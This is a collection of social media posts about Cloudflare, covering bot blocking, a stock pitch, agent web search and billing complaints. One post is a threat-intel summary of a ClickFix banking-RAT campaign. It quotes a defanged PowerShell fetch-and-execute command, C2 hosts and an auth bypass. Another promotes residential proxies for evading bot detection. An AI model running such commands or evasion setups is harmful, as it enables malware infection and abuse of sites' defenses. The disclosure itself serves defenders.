  @Teknium Anyone using dashboard via Cloudflare tunnel? Have you websocket problem?

  There's a case to run a meta network on Cloudflare rails. These childish things by the regime can be bypassed at scale.

  @TelepathicPug If u run a ping the ones causing an issue recently seem to belong to open ai gpt bot. Whether or not this is actually open ai doing this, or someone spawned their own tool using theirs, I do not know. IPs below. In order from worst to less worse for us: Meta bot Amazon bot Perplexity bot Cloudflare seems to block petal bot pretty effectively just by rate limiting but then we end up seeing that stupid chungus cloudflare page on the frontend. I blocked the entirety of China on nginx bc we don't do business there & I see no reason to take the hit for them. I am afraid to block Google bot even tho it's annoying bc then it might tank actual search, but idk I'm torn on that one.

  DD: Long term holdings. $NET cloudflare and why it's important in the age of agents ELI5: The world is moving towards agent. Big industries need better cloud bot protection, developers need LLM computing on the edge. Cloudflare provides the most afforadable option for both, even heavy aws users are using cloudflare for these purposes. What is Cloudflare? For the technically challenged or pre-med professionals, Cloudflare is a web infrastructure and security company that acts as a protective, performance-enhancing shield between a website and its visitors by providing services like content delivery networks (CDNs), DDoS mitigation, and secure domain routing. TL;DR: For the simple folks, it's that **** that pops up with the CAPTCHA to make sure you're not a bot. For developers, it's that **** that makes your sites fast and secure from bots. What is Cloudflare's growing revenue? Application Security and Content Delivery Network (CDN). What is a Content Delivery Network? A CDN is basically a network of servers used to store files closer to its users for faster retrieval. Imagine an app creates a backend database storing all its images on AWS based in US-East. A CDN will then copy the most commonly used images in that S3 database and duplicate them across multiple regions (Asia, Europe, US-East). When an app makes a service request, it will make the request to Cloudflare first. Cloudflare then uses its internal logic to determine if the data needed is in a nearby Cloudflare edge server (on the edge) or if it needs to get it from the main database in US-East. This is called storage on the edge. This CDN mechanism is a relic of Web 2.0, but it will become significantly more important in the age of AI. Now, instead of storing images, large AI providers will be storing entire LLM contexts on the edge. So instead of training specialized ML models to do a specific task, app companies can use a general-usage LLM with a stored context for that specific task, and it will be fast, too. This mechanism is called Prefix Caching or Prompt Caching. By doing this, it makes the LLM responses almost instantaneous. So all your consumer apps that use LLMs—like CALai, Duolingo, Grok, etc.—are most likely already using this process. Beyond simply storing data on the edge, the industry is shifting toward deploying entire servers and specialized AI models locally. A major component of this architecture relies on LLM routing. Instead of hosting massive, resource-heavy models on every single edge device or regional server, companies are deploying highly optimized, lightweight router models at the edge. These local routers analyze incoming user prompts to determine the most efficient way to handle them. If a task is simple, the edge model processes it instantly to minimize latency and eliminate cloud compute costs. If the task requires deep reasoning or a massive knowledge base, the router intelligently forwards the request to a larger cloud-hosted model. Additionally, these edge routers leverage tool calling, which allows them to execute local APIs, query regional databases, or trigger specific code workflows without needing to round-trip back to a centralized data center. Moving from simple edge storage to localized edge intelligent compute represents a massive paradigm shift. It allows enterprises to scale AI applications efficiently, safeguard data privacy, and drastically slash infrastructure costs. Cloudflare Security in the Age of Agents This one is simple. You know that Cloudflare CAPTCHA that pops up when you're entering a website or checking out with a credit card? Websites PAY for that CAPTCHA. And they pay a lot. These features block spam, bots, and DDoS attacks. When you move your mouse to click the CAPTCHA, Cloudflare uses proprietary logic that determines you're human by calculating how fast your mouse moved, the angle you moved it, how long you waited, and any other actions you took. Sometime in the 2010s, every website figured out that paying for this small puzzle CAPTCHA was more cost-effective than getting DDoS'd by bots, so almost every single site adopted it. The CAPTCHA is only one of Cloudflare's products in its security suite to block bots from websites, but the overarching theme is the same for all its features: blocking bots. Well, it's 2026 now, and web traffic across the board has increased, mostly driven by AI and AI agents. Automated web traffic has increased by 600% in 2026 alone. Guess who is positioned perfectly for this? Cloudflare. Not only is Cloudflare blocking bot traffic, but it's also getting paid by them. Cloudflare is releasing a new product (Pay Per Crawl) that allows website owners and Cloudflare to get paid for LLMs crawling their content. Cloudflare is simply winning by creating the gates for web traffic and now charging a toll fee for bots to use them. Cloudflare is direct play on internet traffic, which is a correlating play on ai agents and LLM adoption and usage. If you think people will continue to use ai agents and LLM, then cloudflare is your guy. Cloudflare valuation has dropped recently because of the layoffs due to ai, even though revenue has sped up. This drop was more of emotional sell off than a fundamental one. It's valuation has already bounced back. (Cloudflare is trading at 235 as of this post, I bought in earlier in the 190s for a swing trade after the bogus layoff dips, wish i bought in more)

  AI-generated ClickFix lure impersonates a Brazilian 🇧🇷 bank to drop SmartRAT, a PowerShell banking RAT with QR-swap, keylogging, and fake overlay capabilities. The C2 panel had no server-side auth. Key findings: - Full infection chain: typosquatting domain cartaobb[.]com mimics cartaobrb[.]com[.]br, fake Cloudflare CAPTCHA triggers clipboard injection, fake BSOD locks the browser, then victim pastes: powershell "$k8='hxxp://64[.]95[.]13[.]238/st.txt';iex(irm $k8)" into Run. Three-stage PowerShell dropper pulls payload[.]php, AES-CBC decrypts SmartRAT in memory. Hashes: st.txt 297eb45f028d44d750297d2f932b9c91, RAT b17ccdb5531555e43f082d6e77c07227. - SmartRAT (SMART_V25) persists as scheduled task or Windows service named MicrosoftEdgeUpdateCore (T1543.003), copies itself to %APPDATA%\Microsoft\Diagnosis\ETW\msedgeupdate.txt, logs all activity to C:\ProgramData\Microsoft\Diagnosis\ETW\client_debug.log and per-PID logs. - C2 at c[.]windowsupdate-cdn[.]com port 51888 (fallback 162[.]141[.]111[.]227), AES-CBC encrypted over raw TCP. QR-swap feature overlays attacker QR at exact pixel coordinates of the legitimate banking QR to redirect transactions. Monitors window titles for santander, bradesco, itau, nubank, binance, and a dozen more. - The C2 panel (branded MyGood PRO) bypasses auth by checking only localStorage values authToken and currentUser client-side with no server validation, exposing the full admin panel to anyone who sets those keys. #DFIR_Radar

  Everyone please don't fall for false advertising of @Cloudflare @CloudflareDev. They have several billing issues that you can find easily on reddit and their customer support is bad. I moved from GCP to Cloudflare and that was a terrible mistake. Got to move back now!

  Vanilla web search in an always-on agent gets blocked. Not a Hermes bug. A structural 2026 problem. Cloudflare and Akamai are aggressive enough now that any general-purpose agent hits the wall. You need Tavily or equivalent. Budget time for it.

  @BenjaminFlatz Stealth helps, but most Cloudflare failures are environment issues: IP reputation, geo, sticky sessions, and consistent browser state. IPLoop provides the residential network layer so Playwright/Scrapy stacks don’t fail just because the traffic looks wrong.

  Every "ADE" is going to be pushed into one of either of (some might try to do all): - Linear competitor - Notion competitor - diffxyz/Ai-review competitor and away from "a harness for harnesses" - and/or misstep into remote execution (this requires all in customer bets. Like you either all go all in into the linear model or you do not - I can't imagine this scaling). But there's a much stronger durable layer nobody's really hitting at other than the infrastructure providers - context/artifacts has a lot of exciting potential. You can see it with cursor origin, cloudflare artifacts, code[dot]storage are pointing at. A lot of innovation to be had here & on top of - beyond "hey, share your HTML with me" There's still room for middle layer execution innovation, and it might smell like memory, but nobody's doing memory right.
